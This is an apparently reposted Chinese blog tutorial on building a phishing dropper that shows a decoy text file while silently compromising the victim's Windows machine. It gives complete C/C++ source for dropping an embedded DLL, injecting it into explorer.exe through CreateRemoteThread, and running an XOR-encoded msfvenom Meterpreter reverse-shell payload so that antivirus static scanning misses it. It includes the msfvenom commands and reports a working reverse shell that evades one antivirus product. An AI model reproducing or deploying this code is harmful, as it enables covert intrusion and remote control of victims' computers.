概述
本文章仅做为教学目的,若本文章的技术造成财产损失,本文作者概不负责
文章目录
- 1.将word文件存储在可执行文件中
- 2释放资源,导出文档和dll文件
- 2.1先进行变量的初始化操作
- 2.2获取内置文档和dll文件的信息
- 2.3导出文档和dll文件并打开文档
- 2.4最终释放资源的函数代码:
- 3.进行远程线程注入,将dll注入到系统进程中
- 3.1进行变量初始化
- 3.2在目标进程上开辟内存并写入数据
- 3.3获取LoadLibraryA函数的地址并执行函数
- 4.dll的制作和绕过杀软的静态检测
- 4.1生成shellcode
- 4.2对shellcode进行xor加密运算
- 4.3对shellcode进行xor解密并运行
环境:受害机Windows 10,攻击机kali
工具:Visual Studio 2019,msfvenom
为了实现恶意程序的隐蔽性,在执行程序后,可以生成一个word文档或者其他类型的文件来使得程序看起来更正常些。
- 将文档和包含shellcode的dll文件存储在可执行文件中
- 释放文档并打开,同时也释放dll文件到共享目录中
- 进行远程线程注入,将dll文件注入到系统进程中
- 关于dll的制作和绕过杀软的静态检测
1.将word文件存储在可执行文件中
在Visual Studio的右侧
资源文件 -> 添加 -> 资源
导入 -> 找到要生成的文件
我这里选的是txt文件来进行测试,
资源类型填写对应的后缀,导入dll文件也一样
导入文档和dll文件到可执行文件中后,在右侧可以看到txt和dll文件
2释放资源,导出文档和dll文件
2.1先进行变量的初始化操作
char FileName[MAX_PATH] = "C:\Users\Public\T.txt"; //设置将要把文档释放的位置
char Dllpath[2 * MAX_PATH] = "C:\Users\Public\system_.dll"; //设置将要把dll文件释放的位置
//初始化文档的变量
HRSRC Resource;
HGLOBAL ResourceGlobal;
DWORD FileSize;
//初始化dll文件的变量
HRSRC DLL_Resource;
HGLOBAL DLL_ResourceGlobal;
DWORD DLL_FileSize;
2.2获取内置文档和dll文件的信息
/*
* FindResoureA
* 获取内置txt文件类型资源的句柄,id为102,返回指定资源的信息块的句柄
*
* 参数一:参数为 NULL,函数将搜索用于创建当前进程的模块。
* 参数二:获取哪个资源的句柄
* 参数三:要获取资源的后缀
*/
Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "txt");
DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(103), "dll");
//获取指向内存中指定资源的第一个字节的指针
ResourceGlobal = LoadResource(NULL, Resource);
DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);
//获取资源的字节大小
FileSize = SizeofResource(NULL, Resource);
DLL_FileSize = SizeofResource(NULL, DLL_Resource);
//获取该资源第一个字节的指针
LPVOID PFILE = LockResource(ResourceGlobal);
LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);
上述代码中MAKEINTRESOURCEA(102)的102是文档的资源符号,可以在菜单栏的 视图 --> 其他窗口 --> 资源视图 --> 右边出现资源视图,右键 项目名.rc --> 资源符号 查看
2.3导出文档和dll文件并打开文档
// 创建并将文档写入到指定位置,未指定绝对路径将在当前运行目录创建,上面已定义文档导出的路径
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
//执行文件
SHELLEXECUTEINFOA shellexc = { 0 };
shellexc.cbSize = sizeof(shellexc); //此结构的大小
shellexc.lpFile = FileName; //运行文件的地址
shellexc.nShow = SW_SHOW; //激活窗口并以当前大小和位置显示窗口。
ShellExecuteExA(&shellexc); //执行文档,运行到这里文档将会被打开
//关闭文件的句柄
CloseHandle(FILE);
// 创建并将dll文件写入到指定位置,上面已定义dll文件导出的路径
HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dllSize;
WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
//关闭文件的句柄
CloseHandle(DLLFILE);
2.4最终释放资源的函数代码:
void free_resource() {
char FileName[MAX_PATH] = "C:\Users\Public\T.txt";
char Dllpath[2 * MAX_PATH] = "C:\Users\Public\system_.dll";
HRSRC Resource;
HGLOBAL ResourceGlobal;
DWORD FileSize;
HRSRC DLL_Resource;
HGLOBAL DLL_ResourceGlobal;
DWORD DLL_FileSize;
Resource = FindResourceA(NULL, MAKEINTRESOURCEA(102), "txt");
DLL_Resource = FindResourceA(NULL, MAKEINTRESOURCEA(103), "dll");
ResourceGlobal = LoadResource(NULL, Resource);
DLL_ResourceGlobal = LoadResource(NULL, DLL_Resource);
FileSize = SizeofResource(NULL, Resource);
DLL_FileSize = SizeofResource(NULL, DLL_Resource);
LPVOID PFILE = LockResource(ResourceGlobal);
LPVOID Shellcode_Buf = LockResource(DLL_ResourceGlobal);
HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dwSize;
WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);
SHELLEXECUTEINFOA shellexc = { 0 };
shellexc.cbSize = sizeof(shellexc);
shellexc.lpFile = FileName;
shellexc.nShow = SW_SHOW;
ShellExecuteExA(&shellexc);
CloseHandle(FILE);
HANDLE DLLFILE = CreateFileA(Dllpath, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD dllSize;
WriteFile(DLLFILE, Shellcode_Buf, DLL_FileSize, &dllSize, NULL);
CloseHandle(DLLFILE);
}
执行释放函数代码的效果
3.进行远程线程注入,将dll注入到系统进程中
进行dll注入时,32位的程序要使用32位的程序注入32位的dll,64位的程序就要使用64位的程序来注入64位的dll,好像也有大佬研究出32位程序可以对64位的程序进行dll注入,可以参考一下下列代码
https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp
3.1进行变量初始化
/*
* 函数传入的参数
* DWORD dwProcessId //进程id
* const char* pszDllFileName //dll文件路径
*/
HANDLE hProcess = NULL; //存储进程的句柄
LPVOID pDllAddr = NULL; //存储dll的地址
FARPROC pFuncProcAddr = NULL; //存储LoadLibraryA函数的地址
3.2在目标进程上开辟内存并写入数据
在这先补充一些有关远程线程注入的知识
远程线程注入就是一个进程在另一个目标进程上创建一个新的线程。需要先在目标进程上开辟一块虚拟内存,然后在这个开辟的内存中注入一个线程到目标进程上,这个线程的目的就是执行LoadLibraryA函数,LoadLibraryA函数的作用是加载一个外部的dll文件到内存中,这个dll文件里的代码就是我们的shellcode代码,最终就会执行到shellcode。
为了保证目标进程不被关闭,选择了一个系统进程:explorer.exe,这个进程比较特殊,这个进程也被称之为进程的父进程,因为进程是不能凭空产生的,我们使用鼠标双击运行程序时,大部分情况都是调用了explorer.exe这个进程去创建新的进程,所以这个进程一般不会被关闭。
/*
* 获取目标程序进程句柄,返回给第三个参数
*
* 参数一:想对该进程赋予多大的权限,PROCESS_ALL_ACCESS 进程对象的所有可能访问权限
* 参数二:表示所得到的进程句柄是否可以被继承
* 参数三:被打开进程的PID
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
if (NULL == hProcess)
{
MessageBoxA(0,"打开进程失败!",0,0);
return FALSE;
}
/*
* VirtualAllocEx,先在目标进程上开辟一块内存空间
* 在指定进程的虚拟地址空间中保留、提交或更改内存区域的状态
* 返回分配内存的首地址,即dll文件在目标进程内存中的地址
*
* 参数一:进程的句柄,在该进程的虚拟地址空间中分配内存
* 参数二:指定要分配的页面区域的所需起始地址的指针,
* 如果 lpAddress 为 NULL,则该函数确定分配区域的位置
* 参数三:要分配的内存区域的大小
* 参数四:内存分配的类型
* MEM_COMMIT,在之前保留的块上分配虚拟内存页面
* 参数五:要分配的页面区域的内存保护,
* PAGE_READWRITE 区域可被应用程序读写
*/
lpDllAddr = VirtualAllocEx(hProcess, NULL, strlen(pszDllFileName) + 1, MEM_COMMIT, PAGE_READWRITE);
if (NULL == lpDllAddr)
{
MessageBoxA(0, "分配内存失败!", 0, 0);
return FALSE;
}
/*
* 在程序的指定内存写入数据,在前面已经修改了目标进程的该区域的读写权限,否则不可以写入
*
* 参数一:要写入进程的句柄
* 参数二:要写的内存首地址
* 参数三:要写入数据内容的地址,即dll文件在计算机中的路径,此处应为 C:\Users\Public\system_.dll
* 参数四:要写入的字节数
* 参数五:NULL忽略
*/
SIZE_T dwWriteSize = 0;
if (FALSE == WriteProcessMemory(hProcess, lpDllAddr, pszDllFileName, strlen(pszDllFileName) + 1, &dwWriteSize))
{
MessageBoxA(0, "写入内存失败!", 0, 0);
return FALSE;
}
到这里就已经在目标进程上开辟了一块空间并写入了数据,即dll文件的路径:“C:UsersPublicsystem_.dll”
3.3获取LoadLibraryA函数的地址并执行函数
因为LoadLibrarayA函数是kernel32.dll中的一个函数,所以要先获取kernel32.dll文件的句柄,再获取LoadLibrarayA函数的地址
kernel32.dll是一个核心的动态库,kernel32.dll是在内核空间中,所有的exe进程都加载了这个动态链接库,包括记事本也加载了Kernel32.dll。
虚拟地址划分成了两个空间,用户空间和内核空间,用户空间表示用户运行的程序使用的空间,属于互不相关各用各的;内核空间是操作系统使用的空间,属于是所有程序都可以使用的空间,是共享的。LoadLibrarayA函数属于kernel32.dll,所以如果在当前进程中知道了LoadLibrarayA函数的地址就相当于也知道了其他进程中LoadLibrarayA函数的地址。
/*
* 获取LoadLibraryA函数的地址
*
* GetModuleHandle:
* 获取指定dll文件的句柄,此处是获取kernel32.dll的句柄
*
* GetProcAddress:
* 获取指定dll文件中函数的地址,此处是获取kernel32.dll中LoadLibraryA函数的地址
* 返回函数的地址,返回到pFuncProcAddr中
*/
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
MessageBoxA(0, "获取LoadLibraryA函数的地址失败!", 0, 0);
return FALSE;
}
/*
* 创建一个线程并注入到目标进程中执行
* 创建在另一个进程的虚拟地址空间中运行的线程
*
* 参数一:目标进程的句柄
* 参数二:指向 SECURITY_ATTRIBUTES 结构的指针,该结构指定新线程的安全描述符
* 为NULL时,则线程将获取默认的安全描述符
* 参数三:堆栈的初始大小,为0时表示默认大小
* 参数四:表示目标进程中线程的起始地址,即LoadLibraryA函数的地址,表示从这个函数开始运行
* 参数五:指向要传递给线程函数的变量的指针,此处传入的是dll文件路径在目标进程中的首地址
* 即"C:\Users\Public\system_.dll"这个字符串在目标进程中的地址
* 最终等于是执行了LoadLibraryA("C:\Users\Public\system_.dll")
*/
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpDllAddr, 0, NULL);
if (NULL == hRemoteThread)
{
DWORD error = GetLastError();
MessageBoxA(0, "创建远程线程失败!", 0, 0);
return FALSE;
}
//等待线程注入完成
WaitForSingleObject(hRemoteThread, -1);
VirtualFreeEx(hProcess, lpDllAddr, 0, MEM_RELEASE);
//关闭句柄
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return TRUE;
远程线程注入部分完整代码:
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, const char* pszDllFileName)
{
HANDLE hProcess = NULL;
LPVOID lpDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
if (NULL == hProcess)
{
MessageBoxA(0,"打开进程失败!",0,0);
return FALSE;
}
lpDllAddr = VirtualAllocEx(hProcess, NULL, strlen(pszDllFileName) + 1, MEM_COMMIT, PAGE_READWRITE);
if (NULL == lpDllAddr)
{
MessageBoxA(0, "分配内存失败!", 0, 0);
return FALSE;
}
SIZE_T dwWriteSize = 0;
if (FALSE == WriteProcessMemory(hProcess, lpDllAddr, pszDllFileName, strlen(pszDllFileName) + 1, &dwWriteSize))
{
MessageBoxA(0, "写入内存失败!", 0, 0);
return FALSE;
}
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
MessageBoxA(0, "获取LoadLibraryA函数的地址失败!", 0, 0);
return FALSE;
}
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpDllAddr, 0, NULL);
if (NULL == hRemoteThread)
{
DWORD error = GetLastError();
MessageBoxA(0, "创建远程线程失败!", 0, 0);
return FALSE;
}
WaitForSingleObject(hRemoteThread, -1);
VirtualFreeEx(hProcess, lpDllAddr, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return TRUE;
}
到这里已经可以成功的将恶意dll注入到目标进程中并执行,使用测试弹窗dll注入到记事本的效果:
int main()
{
//释放资源
free_resource();
//记事本的pid和dll的地址
CreateRemoteThreadInjectDll(18468, "C:\Users\Public\system_.dll");
}
4.dll的制作和绕过杀软的静态检测
可以直接通过msfvenom来生成恶意dll,不过很容易被杀毒软件识别杀除
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.135 LPORT=4455 -f dll -o system_.dll
在https://www.virustotal.com上面检测可以看到大部分杀毒软件都可以识别出
比较常用的方法可以用异或加密shellcode,这样至少静态检测很难检测出来
4.1生成shellcode
也可以使用msfvenom来生成shellcode
此处的LHOST和LPORT需要填监听主机的ip和端口
-p 表示要生成payload的格式,这里使用的是64位windows,tcp传输反弹shell
-f 表示生成的格式,我这里选用c语言
-b 表示要过滤的坏字符,即不使用这些字符生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.135 LPORT=4455 -f c -b 'x00'
4.2对shellcode进行xor加密运算
加密操作
// 刚才生成的shellcode
unsigned char shellcode[] =
"xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50"
"x52x51x48x31xd2x56x65x48x8bx52x60x48x8bx52..."
// 设置xor加密的密钥
unsigned char key[100] = "keykeykeyxxx1111";
// shellcode加密后存储在这个变量中
unsigned char shellcode_encode[sizeof shellcode] = {0};
// code_size存储shellcode的字节大小
int code_size = sizeof shellcode;
// 进行shellcode和key的异或操作
for (int i=0; i < code_size; i++) {
shellcode_encode[i] = shellcode[i] ^ key[i% sizeof key];
}
// 输出加密后的shellcode
printf("加密后:");
for (int i = 0; i < sizeof shellcode_encode; i++) {
printf("\x%x", shellcode_encode[i]);
}
4.3对shellcode进行xor解密并运行
解密操作
复制刚才生成的加密shellcode,然后进行解密并运行程序
unsigned char shellcode_encode[] =
"x97x2dxfax8fx95x91xa7x65x79x5ex69x79x67x7a...";
// 密钥
unsigned char key[100] = "keykeykeyxxx1111";
// 解密后的要运行的shellcode
unsigned char shellcode[sizeof shellcode_encode] = { 0 };
// code_size存储shellcode的字节大小
int code_size = sizeof shellcode_encode;
// 进行shellcode异或解密操作,最后结果存储在shellcode中
for (int i=0; i < code_size; i++) {
shellcode[i] = shellcode_encode[i] ^ key[i % sizeof key];
}
接下来要进行执行这段shellcode
利用动态申请内存,把shellcode放进去,强行转为一个函数类型指针,最后调用这个函数
// 定义一个变量接收页面指定区域中第一页的上一个访问保护值,该变量必须要存在
DWORD lpflOldProtect= 0;
/*
* 更改调用进程的虚拟地址空间中已提交页面区域的保护
* 参数一:要更改保护的地址,此处是更改shellcode区域的保护
* 参数二:更改地址的大小
* 参数三:更改页保护为可读可写可执行
* 参数四:接收页面指定区域中第一页的上一个访问保护值
*/
VirtualProtect(shellcode, sizeof(shellcode_encode), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
/*
* 使用一个回调函数去执行shellcode,这个函数干什么无所谓,主要是要有回调功能
*/
EnumDateFormatsA((DATEFMT_ENUMPROCA)shellcode, 0, 0);
完整的dll代码:
#include "pch.h"
DWORD WINAPI exec_shellcode(LPVOID pPara) {
unsigned char shellcode_encode[] =
"x23x54xb0x23xe4x90xabx9ax86x87x30...";
unsigned char key[100] = "keykeykeyxxx1111";
unsigned char shellcode[sizeof shellcode_encode] = { 0 };
int code_size = sizeof shellcode_encode;
for (int i = 0; i < code_size; i++) {
shellcode[i] = shellcode_encode[i] ^ key[i % sizeof key];
}
DWORD lpflOldProtect = 0;
VirtualProtect((unsigned char *)shellcode, sizeof(shellcode_encode), PAGE_EXECUTE_READWRITE, &lpflOldProtect);
EnumDateFormatsA((DATEFMT_ENUMPROCA)(unsigned char *)shellcode, 0, 0);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
CreateThread(NULL,0, exec_shellcode, 0, 0, 0);
}
}
return TRUE;
}
注意生成dll时选和目标进程相同的位数,生成解决方案时选release
最后,要将dll注入到explorer.exe只要获取exeplorer.exe的pid
以下是微软文档提供的进程遍历代码,进行了一些小的修改
DWORD explorerId;
int PrintProcessNameAndID(DWORD processID)
{
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID);
if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded))
{
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
}
//判断进程名是否为explorer.exe
if (*szProcessName == *"explorer.exe")
{
//获取到的进程id并返回
explorerId = processID;
return explorerId;
}
CloseHandle(hProcess);
}
int main()
{
int explorerId =0;
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
return 1;
}
printf("%s", aProcesses);
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++)
{
if (aProcesses[i] != 0)
{
if (PrintProcessNameAndID(aProcesses[i]) != 0) {
//获取到explorer进程的id后放入explorerId变量中
explorerId = PrintProcessNameAndID(aProcesses[i]);
break;
};
}
}
}
这样就获取到exeplorer.exe的pid,最后运行的效果 成功注入到exeplorer.exe进程
并且反弹shell成功
火绒扫描未扫出来
受害者实际上看到的就是打开了一个txt文档
最后
以上就是飘逸洋葱为你收集整理的关于文档钓鱼和绕过杀毒软件的静态检测的全部内容,希望文章能够帮你解决关于文档钓鱼和绕过杀毒软件的静态检测所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复